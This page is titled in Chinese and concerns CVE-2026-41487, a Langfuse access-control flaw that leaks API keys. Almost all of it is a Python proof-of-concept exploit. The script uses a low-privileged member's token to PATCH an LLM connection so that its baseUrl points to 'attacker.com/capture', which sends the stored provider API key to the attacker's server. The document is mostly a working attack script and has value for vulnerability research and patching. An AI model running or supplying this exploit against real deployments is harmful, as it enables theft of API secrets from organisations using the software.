CVE-2026-41487 Langfuse 访问控制缺陷致API密钥泄露

import requests # Target API endpoint for updating LLM connection target_url = "https://<target-langfuse-domain>/api/public/llm/<connection_id>" # Attacker controlled server to capture the leaked secret attacker_server = "http://attacker.com/capture" # Headers with authentication token of a low-privileged 'member' user headers = { "Authorization": "Bearer <member_user_token>", "Content-Type": "application/json" } # Malicious payload exploiting the RBAC flaw payload = { "baseUrl": attacker_server, # Depending on the API version, other fields might be needed "provider": "openai", "modelName": "gpt-4" } try: # Send the update request response = requests.patch(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[*] Check your attacker server logs for the intercepted API Key.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")